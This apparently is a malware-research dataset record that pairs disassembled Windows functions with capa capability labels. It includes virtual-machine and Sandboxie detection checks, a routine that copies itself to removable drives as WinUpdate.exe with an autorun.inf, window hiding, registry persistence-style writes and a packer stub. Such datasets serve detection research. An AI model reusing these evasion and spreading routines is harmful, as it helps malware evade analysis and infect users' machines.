joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405a65
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor edi, edi
push edi
push str.HARDWAREDescriptionSystem
push closesocket
mov dword [ebp - 8], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405b05
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push str.SystemBiosVersion
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x405b05
lea ecx, [ebp - 0x408]
call fcn.00405d8d
test eax, eax
jle 0x405aea
push esi
lea esi, [ebp + edi - 0x408]
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_toupper]
pop ecx
lea ecx, [ebp - 0x408]
mov byte [esi], al
inc edi
call fcn.00405d8d
cmp edi, eax
jl 0x405ac5
pop esi
lea eax, [ebp - 0x408]
push str.QEMU
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x405b08
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x405b0b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3f4
push ebx
push esi
xor eax, eax
lea ecx, [ebp - 8]
push ecx
inc eax
push eax
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov dword [ebp - 4], 0x1f4
push dword [ebp + 8]
mov dword [ebp - 0xc], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x405bda
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push dword [ebp + 0x10]
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
cmp eax, ebx
jne 0x405bda
push edi
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp - 0x3f4]
lea edi, [ebp - 0x200]
call fcn.00405d9f
mov ecx, dword [ebp + 0x14]
call fcn.00405d8d
mov ecx, edi
mov dword [ebp - 4], eax
call fcn.00405d8d
mov esi, eax
pop edi
jmp 0x405bd5
push dword [ebp - 4]
lea eax, [ebp - 0x200]
push eax
push dword [ebp + 0x14]
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x405be0
xor eax, eax
cmp byte [ebp - 0x200], bl
je 0x405bcd
mov cl, byte [ebp + eax - 0x1ff]
mov byte [ebp + eax - 0x200], cl
inc eax
cmp byte [ebp + eax - 0x200], bl
jne 0x405bb5
mov byte [ebp + eax - 0x200], bl
dec esi
cmp esi, dword [ebp - 4]
jae 0x405b91
xor al, al
pop esi
pop ebx
leave
ret
mov al, 1
jmp 0x405bdc

Function at 0x405be4
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
xor esi, esi
push esi
lea eax, [ebp - 4]
push eax
push esi
push 0xf003f
push esi
push esi
push esi
push dword [ebp + 0xc]
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x405c3a
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp + 0x14]
call fcn.00405d8d
push eax
push ecx
push 1
push esi
push dword [ebp + 0x10]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x405c3c
xor al, al
pop esi
leave
ret
Function at 0x405c3f
Capabilities:
Check for sandbox and av modules

Disassembly:
push str.sbiedll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
neg eax
sbb eax, eax
inc eax
ret

Function at 0x405e9e
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
xor ebx, ebx
push 0xff
lea eax, [ebp - 0xff]
push ebx
push eax
mov byte [ebp - 0x100], bl
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push 0x40754c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp + 8]
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405eff
xor eax, eax
pop ebx
leave
ret 4
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x100]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x405f24
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebx
jmp 0x405efa
xor ebx, ebx
inc ebx
jmp 0x405f17

Function at 0x405f29
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push ebx
xor ebx, ebx
push 0xff
lea eax, [ebp - 0xff]
push ebx
push eax
mov byte [ebp - 0x100], bl
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push 0x40754c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp + 8]
push eax
push 0x20006
push ebx
push str.SoftwareMicrosoftWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x405f87
xor eax, eax
jmp 0x405fa8
push ebx
push ebx
push 1
push ebx
lea eax, [ebp - 0x100]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
pop ebx
leave
ret 4

Function at 0x405fae
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x100
push 0xff
lea eax, [ebp - 0xff]
push 0
push eax
mov byte [ebp - 0x100], 0
call sub.MSVCRT.dll_memset
push dword [ebp + 8]
lea eax, [ebp - 0x100]
push 0x40754c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp + 8]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40600c
xor eax, eax
jmp 0x40601f
lea eax, [ebp - 0x100]
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
xor eax, eax
inc eax
leave
ret 4
Function at 0x406023
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 0xff
lea eax, [ebp - 0x103]
push 0
push eax
mov byte [ebp - 0x104], 0
call sub.MSVCRT.dll_memset
push str.rate
lea eax, [ebp - 0x104]
push 0x40754c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x18
lea eax, [ebp - 4]
push eax
push 0x20006
push 0
push str.SoftwareMicrosoftWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x406083
xor eax, eax
leave
ret
mov ecx, dword [ebp + 8]
call fcn.00405d8d
push eax
push ecx
push 1
push 0
lea eax, [ebp - 0x104]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
inc eax
leave
ret

Function at 0x4060af
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
push ebx
push esi
push edi
mov esi, 0xff
xor ebx, ebx
push esi
lea eax, [ebp - 0x10b]
push ebx
push eax
mov byte [ebp - 0x10c], bl
call sub.MSVCRT.dll_memset
push esi
lea eax, [ebp - 0x20b]
push ebx
push eax
mov byte [ebp - 0x20c], bl
call sub.MSVCRT.dll_memset
mov esi, dword [sym.imp.MSVCRT.dll_atoi]
mov edi, 0x407710
push edi
mov dword [ebp - 0xc], 0x100
call esi
push str.rate
mov dword [ebp - 8], eax
lea eax, [ebp - 0x10c]
push 0x40754c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
lea eax, [ebp - 4]
push eax
push 0x20019
push ebx
push str.SoftwareMicrosoftWindows
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406170
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x20c]
push eax
push ebx
push ebx
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406169
lea eax, [ebp - 0x20c]
push eax
call esi
mov dword [ebp - 8], eax
jmp 0x40616f
push edi
call fcn.00406023
pop ecx
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x406707
Capabilities:
Delete file
Get disk information
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x290
push ebx
push esi
push edi
mov esi, 0x40850c
lea edi, [ebp - 4]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.MSVCRT.dll_sprintf]
mov dword [ebp - 8], 1
xor ebx, ebx
mov edi, 0x1ff
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 2
jne 0x406847
push edi
lea eax, [ebp - 0x28f]
push ebx
push eax
mov byte [ebp - 0x290], bl
call sub.MSVCRT.dll_memset
push 0x7f
lea eax, [ebp - 0x8f]
push ebx
push eax
mov byte [ebp - 0x90], bl
call sub.MSVCRT.dll_memset
add esp, 0x18
push edi
lea eax, [ebp - 0x290]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x90]
push str._sWinUpdate.exe
push eax
call esi
lea eax, [ebp - 0x90]
push eax
lea eax, [ebp - 0x290]
push eax
call fcn.00402aea
add esp, 0x14
test eax, eax
je 0x40684f
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x90]
push str._s_autorun.inf
push eax
call esi
add esp, 0xc
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0xc], eax
cmp eax, 0xffffffff
jne 0x40680d
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x90]
push str._sWinUpdate.exe
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40684f
lea eax, [ebp - 0x90]
push str._autorun__r_nOPENWinUpdate.exe_r_nactionRun_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
pop ecx
pop ecx
lea eax, [ebp - 0x10]
push ebx
push eax
lea ecx, [ebp - 0x90]
call fcn.00405d8d
push eax
mov eax, ecx
push eax
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 8]
add al, 0x41
mov byte [ebp - 4], al
inc dword [ebp - 8]
cmp dword [ebp - 8], 0x1b
jl 0x406732
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret

Function at 0x406863
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor edi, edi
push edi
push str.HARDWAREDEVICEMAPScsiScsi_Port_0Scsi_Bus_0Target_Id_0Logical_Unit_Id_0
push closesocket
mov dword [ebp - 8], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406903
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push str.Identifier
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406903
lea ecx, [ebp - 0x408]
call fcn.00405d8d
test eax, eax
jle 0x4068e8
push esi
lea esi, [ebp + edi - 0x408]
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_toupper]
pop ecx
lea ecx, [ebp - 0x408]
mov byte [esi], al
inc edi
call fcn.00405d8d
cmp edi, eax
jl 0x4068c3
pop esi
lea eax, [ebp - 0x408]
push str.VBOX
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x406906
xor eax, eax
inc eax
pop edi
leave
ret
Function at 0x406909
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor edi, edi
push edi
push str.HARDWAREDescriptionSystem
push closesocket
mov dword [ebp - 8], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x4069a9
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push str.SystemBiosVersion
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x4069a9
lea ecx, [ebp - 0x408]
call fcn.00405d8d
test eax, eax
jle 0x40698e
push esi
lea esi, [ebp + edi - 0x408]
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_toupper]
pop ecx
lea ecx, [ebp - 0x408]
mov byte [esi], al
inc edi
call fcn.00405d8d
cmp edi, eax
jl 0x406969
pop esi
lea eax, [ebp - 0x408]
push str.VBOX
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x4069ac
xor eax, eax
inc eax
pop edi
leave
ret

Function at 0x4069d6
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push edi
lea eax, [ebp - 4]
push eax
push 0x20019
xor edi, edi
push edi
push str.HARDWAREDescriptionSystem
push closesocket
mov dword [ebp - 8], 0x400
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x406a76
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push edi
push edi
push str.VideoBiosVersion
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x406a76
lea ecx, [ebp - 0x408]
call fcn.00405d8d
test eax, eax
jle 0x406a5b
push esi
lea esi, [ebp + edi - 0x408]
movsx eax, byte [esi]
push eax
call dword [sym.imp.MSVCRT.dll_toupper]
pop ecx
lea ecx, [ebp - 0x408]
mov byte [esi], al
inc edi
call fcn.00405d8d
cmp edi, eax
jl 0x406a36
pop esi
lea eax, [ebp - 0x408]
push str.VIRTUALBOX
push eax
call dword [sym.imp.MSVCRT.dll_strstr]
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp 0x406a79
xor eax, eax
inc eax
pop edi
leave
ret
Function at 0x401300
Capabilities:
Access peb ldr_data
Get process heap flags
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
xor ebx, ebx
mov edi, ebx
sub esp, 0x3c
mov dword [ebp - 0x24], eax
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [sym.imp.kernel32.dll_HeapAlloc]
mov dword [ebp - 0x28], eax
call eax
mov ecx, 0x1000
mov esi, eax
sub esp, 0xc
mov eax, dword [0x407004]
mov edx, esi
jmp 0x401374
mov ebx, eax
inc eax
movzx ebx, byte [ebx + section..bss]
mov dword [0x407004], eax
cmp bl, 0xa
je 0x401520
lea esi, [edi + 1]
cmp esi, ecx
jge 0x4013d0
mov byte [edx + edi], bl
mov edi, esi
cmp dword [0x407000], eax
ja 0x401350
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], ecx
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0x407000
mov dword [esp + 8], 0x1000
mov dword [esp + 4], 0x406000
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_ReadFile]
mov edx, dword [ebp - 0x1c]
sub esp, 0x14
test eax, eax
je 0x401418
mov eax, dword [0x407000]
test eax, eax
je 0x401418
mov ecx, dword [ebp - 0x20]
mov eax, 1
xor ebx, ebx
jmp 0x401353
add ecx, ecx
mov eax, dword fs:[0x18]
test edx, edx
je 0x4014f0
mov dword [esp + 0xc], ecx
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x1c], ecx
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapReAlloc]
mov ecx, dword [ebp - 0x1c]
mov edx, eax
sub esp, 0x10
mov eax, dword [0x407004]
jmp 0x40136f
mov ebx, edi
mov esi, edx
test edi, edi
je 0x401538
mov byte [esi + ebx], 0
dec ebx
js 0x401436
add ebx, esi
cmp byte [ebx], 0xd
je 0x401530
mov edx, dword [sym.imp.kernel32.dll_MultiByteToWideChar]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [ebp - 0x20], edx
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
sub esp, 0x18
mov ebx, eax
add eax, eax
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov edi, dword fs:[0x18]
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x28]
call eax
mov edx, dword [ebp - 0x20]
sub esp, 0xc
mov dword [ebp - 0x1c], eax
mov dword [esp + 0x14], ebx
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xffffffff
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov dword [esp], 0
call edx
sub esp, 0x18
mov dword [esp + 8], esi
mov dword [esp + 4], 0
mov eax, dword [edi + 0x30]
mov eax, dword [eax + 0x18]
mov dword [esp], eax
call dword [sym.imp.kernel32.dll_HeapFree]
mov ecx, dword [ebp - 0x1c]
sub esp, 0xc
lea esp, [ebp - 0xc]
mov eax, ecx
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ecx
mov dword [esp + 4], 0
mov eax, dword [eax + 0x30]
mov dword [ebp - 0x1c], ecx
mov eax, dword [eax + 0x18]
mov dword [esp], eax
mov eax, dword [ebp - 0x28]
call eax
mov ecx, dword [ebp - 0x1c]
mov edx, eax
sub esp, 0xc
mov eax, dword [0x407004]
jmp 0x40136f
mov ebx, edi
mov esi, edx
jmp 0x401424
mov byte [ebx], 0
jmp 0x401436
xor ecx, ecx
jmp 0x4014e6
Function at 0x401cd0
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov esi, dword [ebp + 8]
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_strlen]
mov ebx, eax
xor eax, eax
test ebx, ebx
je 0x401d2b
cmp byte [esi + ebx - 1], 0xa
je 0x401cff
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x24]
xchg dword [0x4070c4], eax
mov dword [esp], 2
call dword [sym.imp.ucrtbase.dll___acrt_iob_func]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], esi
call dword [sym.imp.ucrtbase.dll_fwrite]
lea esp, [ebp - 8]
pop ebx
pop esi
pop ebp
ret
Function at 0x402790
Capabilities:
Get process heap force flags
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
push esi
push ebx
and esp, 0xfffffff0
sub esp, 0x10
mov dword [esp], 1
call sym.__configure_wide_argv
call sym.__initialize_wide_environment
call sym.___p___argc
mov esi, dword [eax]
call sym.___p___wargv
mov edi, dword [eax]
call sym.__get_initial_wide_environment
mov ebx, eax
mov eax, dword fs:[0x18]
mov eax, dword [eax + 0x30]
mov eax, dword [eax + 8]
mov edx, dword [eax + 0x3c]
cmp word [eax + edx + 0x5c], 2
sete al
movzx eax, al
inc eax
mov dword [esp], eax
call sym.__set_app_type
mov dword [esp + 8], ebx
mov dword [esp + 4], edi
mov dword [esp], esi
call sym._wmain
mov dword [esp], eax
call sym._exit
nop
nop

Function at 0x461f20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, 0x455015
lea edi, [esi - 0x54015]
push edi
or ebp, 0xffffffff
jmp 0x461f42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x461f49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x461f38
mov eax, 1
add ebx, ebx
jne 0x461f5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x461f50
jne 0x461f6c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f50
xor ecx, ecx
sub eax, 3
jb 0x461f80
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x461ff2
mov ebp, eax
add ebx, ebx
jne 0x461f8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x461f98
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x461fbc
inc ecx
add ebx, ebx
jne 0x461fa8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x461f9d
jne 0x461fb9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x461f9d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x461fdc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x461fcd
jmp 0x461f3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x461fdc
add edi, ecx
jmp 0x461f3e
pop esi
mov edi, esi
mov ecx, 0x32d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x461ffa
cmp byte [edi], 0
jne 0x461ffa
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x461fff
lea edi, [esi + 0x5f000]
mov eax, dword [edi]
or eax, eax
je 0x46206e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x621f0]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x62254]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x46202c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x62258]
or eax, eax
je 0x462068
mov dword [ebx], eax
add ebx, 4
jmp 0x462049
call dword [esi + 0x6225c]
popal
jmp 0x4095a4
Function at 0x4056c0
Capabilities:
Hide graphical window

Disassembly:
push 0
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_ShowWindow
push 0xffffffffffffffec
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_GetWindowLongA
or eax, 0x80
push eax
push 0xffffffffffffffec
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_SetWindowLongA
push 5
mov eax, dword [0x40895c]
push eax
call sub.user32.dll_ShowWindow
ret

Function at 0x503b8c
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
mov dword [0x505076], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x505298], eax
mov dword [0x505220], 0x503376
mov dword [0x50521c], 2
jmp 0x503bbc
mov dword [0x505224], 0
mov dword [0x505228], 0
mov dword [0x505218], 0x30
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x50522c], eax
mov dword [0x505240], 0x50408c
mov dword [0x505238], 0xf
mov dword [0x50506e], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x505230], eax
mov dword [0x505244], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x505234], eax
push 0x505218
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x50506e]
push 0
push 0
push 0x1e5
push 0x21e
push 0xffffe52a
push 0xfffff588
push 0x40000
push str.wait
push str.aroka
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x505290], eax
push 5
push dword [0x505290]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x505290]
call dword [sym.imp.user32.dll_UpdateWindow]
jmp 0x503c8f
push 0
push 0
push 0
push 0x505248
call dword [sym.imp.user32.dll_GetMessageA]
or eax, eax
je 0x503cbc
push 0x505248
call dword [sym.imp.user32.dll_TranslateMessage]
push 0x505248
call dword [sym.imp.user32.dll_DispatchMessageA]
jmp 0x503c8f
mov eax, dword [0x505250]
jmp 0x503cc9
call 0x502c0d
ret
Function at 0x10009830
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword [ebp + 0x10]
push ebx
mov ebx, dword [ebp + 0xc]
push edi
mov eax, dword [eax + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebx + 0x78]
test eax, eax
je 0x10009853
push dword [ebx + 0x74]
call eax
add esp, 4
push esi
mov esi, dword [ebx + 0x54]
test esi, esi
je 0x100098b5
mov edi, dword [esi + 4]
xor edx, edx
mov eax, dword [edi + 0x60]
mov eax, dword [eax + 8]
mov dword [ebp - 4], eax
mov eax, dword [edi + 0x54]
test eax, eax
je 0x100098ae
mov ecx, dword [eax + 8]
cmp eax, esi
je 0x10009881
mov edx, eax
mov eax, ecx
test eax, eax
jne 0x10009870
jmp 0x100098ae
test edx, edx
jne 0x1000988a
mov dword [edi + 0x54], ecx
jmp 0x1000988d
mov dword [edx + 8], ecx
mov eax, dword [esi + 0x14]
test eax, eax
je 0x1000989a
push esi
call eax
add esp, 4
mov ecx, esi
call fcn.10008ed0
mov eax, dword [ebp - 4]
push esi
push eax
mov eax, dword [eax + 8]
call eax
add esp, 8
mov esi, dword [ebx + 0x54]
test esi, esi
jne 0x1000985b
mov edi, dword [ebp + 8]
lea ecx, [ebx + 0x6c]
mov dword [ebp - 8], ecx
test ecx, ecx
je 0x1000993e
test edi, edi
je 0x1000993e
mov eax, dword [ecx]
test eax, eax
je 0x10009931
mov ebx, eax
nop
mov esi, dword [ebx + 8]
mov eax, dword [ebx + 4]
mov dword [ebp - 4], eax
mov eax, dword [esi + 8]
test eax, eax
je 0x100098e6
push esi
call eax
add esp, 4
mov eax, dword [ebp + 0x10]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x3c]
test eax, eax
je 0x100098f9
push esi
call eax
add esp, 4
mov eax, dword [esi + 0x28]
test eax, eax
je 0x1000990a
push eax
mov eax, dword [edi + 8]
push edi
call eax
add esp, 8
mov dword [esi + 0x28], 0
mov eax, dword [edi + 8]
push esi
push edi
call eax
mov eax, dword [edi + 8]
push ebx
push edi
call eax
mov eax, dword [ebp - 4]
add esp, 0x10
mov ebx, eax
test eax, eax
jne 0x100098d0
mov ebx, dword [ebp + 0xc]
mov ecx, dword [ebp - 8]
mov dword [ecx], 0
mov dword [ecx + 4], 0
mov eax, dword [ebx + 0x30]
mov dword [ebx + 0x58], 0
test eax, eax
je 0x10009952
push ebx
call eax
add esp, 4
mov edx, edi
mov ecx, ebx
call fcn.100097a0
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx + 0x34]
test eax, eax
je 0x1000996b
push ebx
call eax
add esp, 4
mov esi, dword [ebx + 0x68]
mov eax, dword [ebx + 8]
mov dword [ebp + 0xc], eax
test esi, esi
je 0x100099a1
mov ecx, dword [esi + 0x18]
mov eax, dword [esi + 0x1c]
mov dword [ebp + 0x10], eax
test ecx, ecx
je 0x1000998e
push esi
call ecx
mov eax, dword [ebp + 0x10]
add esp, 4
test dword [ebp + 0xc], 0x400
jne 0x100099a1
push esi
push eax
mov eax, dword [eax + 8]
call eax
add esp, 8
mov eax, dword [ebx + 0x80]
mov dword [ebx + 0x68], 0
pop esi
test eax, eax
je 0x100099c7
push eax
mov eax, dword [edi + 8]
push edi
call eax
add esp, 8
mov dword [ebx + 0x80], 0
mov eax, dword [edi + 8]
push ebx
push edi
call eax
add esp, 8
pop edi
pop ebx
mov esp, ebp
pop ebp
ret